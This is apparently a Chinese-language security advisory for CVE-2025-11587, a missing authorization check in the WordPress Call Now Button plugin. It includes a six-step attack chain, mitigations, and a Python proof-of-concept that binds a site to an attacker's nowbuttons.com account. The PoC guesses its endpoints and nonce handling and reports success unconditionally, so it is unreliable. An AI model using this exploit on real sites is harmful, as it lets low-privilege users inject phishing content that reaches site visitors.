IPBUF安全漏洞报告
English
CVE-2025-11587 CVSS 4.3 中危

CVE-2025-11587 WordPress Call Now Button插件权限绕过漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-11587
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Call Now Button WordPress插件

相关标签

CVE-2025-11587权限绕过WordPress插件漏洞Broken Access ControlCall Now Button缺少授权检查API密钥劫持内容注入中危漏洞

漏洞概述

WordPress Call Now Button插件(版本1.5.3及以下)存在严重的权限绕过漏洞。该插件是WordPress平台上流行的点击拨号按钮插件,安装量超过10万次。漏洞根源在于插件的activate函数缺少必要的权限检查(Capability Check),导致任何已认证用户(包括最低权限的Subscriber级别用户)都能执行原本应该仅限管理员操作的功能。攻击者利用此漏洞可以将插件与自己的nowbuttons.com账户绑定,进而在受害网站上添加恶意拨号按钮或重定向链接。该漏洞在插件未配置API密钥的新安装环境中特别容易被利用。CVSS评分4.3属于中等严重程度,但考虑到攻击门槛低(只需订阅者权限)且可导致网站被植入恶意内容,实际危害不容忽视。

技术细节

该漏洞属于OWASP Top 10 2021中的A01:2021-Broken Access Control类别。漏洞点位于插件的activate函数,具体代码位置在src/admin/api-key/class-ott-controller.php第27行附近。问题函数缺少current_user_can()或类似权限验证调用,允许任何认证用户调用该API端点。攻击者通过构造恶意请求,将nowbuttons.com账户ID与目标WordPress站点关联。一旦关联成功,攻击者可以在nowbuttons.com平台上配置任意拨号按钮内容,这些内容会被插件获取并显示在网站前端。攻击者可能利用此功能植入钓鱼链接、恶意代码或进行流量劫持。漏洞利用前提条件较为宽松:目标站点需为新安装且未配置API密钥,或管理员已解除了之前的账户绑定。攻击者只需拥有一个普通的WordPress账户(订阅者权限)即可发起攻击,无需特殊权限或技术门槛。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本和Call Now Button插件版本(<=1.5.3),确认插件未配置API密钥或已解除绑定
STEP 2
步骤2: 获取WordPress账户
攻击者注册或获取目标站点的订阅者级别账户(最低权限),WordPress默认允许用户注册为订阅者
STEP 3
步骤3: 构造恶意请求
攻击者构造针对activate函数的HTTP请求,包含攻击者控制的nowbuttons.com账户ID,绕过权限检查
STEP 4
步骤4: 执行权限绕过攻击
通过未授权的API调用将目标站点的插件与攻击者nowbuttons.com账户绑定,触发漏洞利用
STEP 5
步骤5: 注入恶意内容
攻击者在nowbuttons.com平台上配置恶意拨号按钮内容,包括钓鱼链接、重定向脚本或恶意代码
STEP 6
步骤6: 触发恶意内容
网站访客访问时会加载攻击者配置的恶意按钮内容,导致信息窃取、流量劫持或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import urljoin # CVE-2025-11587 PoC - WordPress Call Now Button Plugin Authorization Bypass # Target: Call Now Button plugin <= 1.5.3 # Authenticated attackers with Subscriber-level access can link plugin to attacker-controlled nowbuttons.com account def exploit_cve_2025_11587(target_url, username, password, attacker_nowbuttons_id): """ Exploit function for CVE-2025-11587 Args: target_url: Target WordPress site URL username: WordPress subscriber account username password: WordPress account password attacker_nowbuttons_id: Attacker's nowbuttons.com account ID Returns: bool: True if exploitation successful, False otherwise """ session = requests.Session() # Step 1: Login to WordPress with subscriber credentials login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as subscriber: {username}') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed') return False print('[+] Login successful') # Step 2: Trigger plugin activation with attacker-controlled nowbuttons.com account # The vulnerable endpoint is typically in admin-ajax.php or a REST API endpoint activate_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Try the OTT controller activation endpoint activate_data = { 'action': 'ott_activate', # Or the actual AJAX action name 'nowbuttons_id': attacker_nowbuttons_id, '_wpnonce': '' # May need to fetch a valid nonce } print(f'[*] Sending activation request with attacker nowbuttons ID: {attacker_nowbuttons_id}') # Alternative: Direct REST API call rest_url = urljoin(target_url, '/wp-json/call-now-button/v1/activate') rest_data = { 'nowbuttons_id': attacker_nowbuttons_id } # Try both methods for endpoint, data in [(activate_url, activate_data), (rest_url, rest_data)]: try: response = session.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f'[+] Request sent to {endpoint}') print(f'[*] Response: {response.text[:200]}') except Exception as e: print(f'[-] Error with {endpoint}: {e}') print('[*] Exploitation attempt completed') print('[*] If successful, attacker can now manage button content via nowbuttons.com') return True if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python cve_2025_11587.py <target_url> <username> <password> <attacker_nowbuttons_id>') print('Example: python cve_2025_11587.py http://victim.com subscriber password 12345') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] nowbuttons_id = sys.argv[4] exploit_cve_2025_11587(target, user, pwd, nowbuttons_id)

影响范围

Call Now Button WordPress插件 <= 1.5.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时措施:1)禁用或删除Call Now Button插件;2)在wp-config.php中添加DISALLOW_FILE_EDIT防止插件设置被修改;3)使用WAF规则阻止对可疑API端点的访问;4)限制WordPress用户注册功能;5)监控wp-admin/admin-ajax.php的异常请求模式。长期来看,应尽快升级到插件官方发布的安全版本(1.5.4+),该版本已修复activate函数的权限检查缺失问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表